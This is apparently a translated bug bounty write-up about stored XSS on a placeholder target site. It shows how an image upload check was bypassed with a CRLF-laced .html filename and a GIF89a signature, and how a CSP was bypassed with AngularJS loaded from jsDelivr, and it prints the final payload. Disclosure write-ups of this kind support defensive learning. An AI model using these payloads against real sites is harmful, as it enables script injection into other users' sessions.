图片上传绕过与存储型XSS漏洞利用技术详解

My name is Ignacio Jose Riva, and I am a full-time Bug Bounty Hunter actively working in platforms like Bugcrowd, Intigriti, Hackerone, etc hunting for all kinds of vulnerabilities.

在本文中,我将解释我是如何绕过图片上传功能,并在目标网站上实现存储型XSS的。


🖊️Writeup

在测试 https://app.target.com/ 时,我在 /profile 路径下发现了一个有趣的端点。

Profile image upload

个人资料图片上传功能依赖于以下 POST 端点:

bash 复制代码
POST /api/images/

上传图片后,文件可以通过以下路径访问: /files/images/<filename>.png

响应如下:

json 复制代码
{"message":"Upload successfully","files":[{"name":"<img>","path":"images/<img>","url":"https://app.target.com/files/images/<img>"}]}

起初,上传验证受到严格的正则表达式 保护,使得无法将此问题升级为远程代码执行(RCE)。因此,最可行的攻击途径是尝试存储型XSS

我专注于滥用文件名处理,使用 .html 扩展名结合空字节(%0d%0a)。

使用的载荷如下:

ini 复制代码
filename="name.html%0d%0a.png"
Content-Type: text/html

为了绕过图片验证,请求体以 GIF89a 文件签名开头,后接 HTML 内容:

css 复制代码
GIF89a
<html><body>ANY</body></html>

这样,该文件被成功上传并呈现为 HTML 页面,而非图片。

CSP Restriction

当尝试执行 JavaScript 时,载荷被**内容安全策略(CSP)**阻止:

arduino 复制代码
CSP script-src 'self' https://cdn.jsdelivr.net

这意味着只有托管在同一域名下或从 cdn.jsdelivr.net 加载的脚本才被允许。

为了绕过此限制,我使用了从 cdn.jsdelivr.net 加载的 AngularJS ,这符合 CSP 规则。一个非常有用的 CSP 攻击资源是:cspbypass.com/

Final Payload (Stored XSS)

html 复制代码
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app>
  <img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert('XSS by cyx :)');">
</div>

上传文件后,我直接访问了: https://app.target.com/files/images/name.html

此时,我成功做到了:

  • 绕过图片上传限制
  • 绕过 CSP
  • 实现存储型 XSS

✉️ Get in Touch

如有问题、合作或想了解更多关于漏洞赏金猎取的内容,可以通过以下方式联系我:

  • LinkedIn: linkedin.com/in/cyxbugs/
  • Twitter: x.com/cyxbugs CSD0tFqvECLokhw9aBeRqj6jqLMuiORy6/rp+XTMHOVcU0CTINHq8kAGnLzNLK83ddW0lRF2hwizUDMpjFWvp7Rsq6LK4IIlmNQs8A8LUJLL55RQxregeAyAtAuO40Yq
相关推荐
汤姆小白3 小时前
01-环境搭建与项目导览
人工智能·python·机器学习·numpy
喜欢就别5 小时前
【Agentic RL / 强化学习 / OPD】OpenClaw-RL 源码阅读笔记 --- (2)--- On-Policy Distillation
人工智能·笔记
糯米导航7 小时前
AI 视觉回归实战:截图对比不是“找不同”,如何让智能差异分析真正服务 UI 质量
人工智能·ui·回归
墨风如雪7 小时前
WorkBuddy零基础教程进阶篇
aigc
科技圈观察8 小时前
2026年好伴AI医疗专用大模型应用梳理与梯队参考
人工智能
jkyy20148 小时前
深耕AI健康医疗数据智库,赋能企业构建主动健康管理新生态
大数据·人工智能·健康医疗
cd_949217219 小时前
3D角色自动绑骨怎么做?用V2Fun完成建模、绑定、动作和导出
人工智能·3d
瑞禧生物tech9 小时前
SH-PEG-Biotin巯基-聚乙二醇-生物素 HS-PEG-Bio 深度解析
人工智能
QYR-分析9 小时前
机器人安全控制器行业高速扩容 本土替代迎来全新发展窗口期
人工智能·安全·机器人
冬奇Lab9 小时前
MCP 系列(06):MCP vs Function Calling——用数据说话的选型指南
人工智能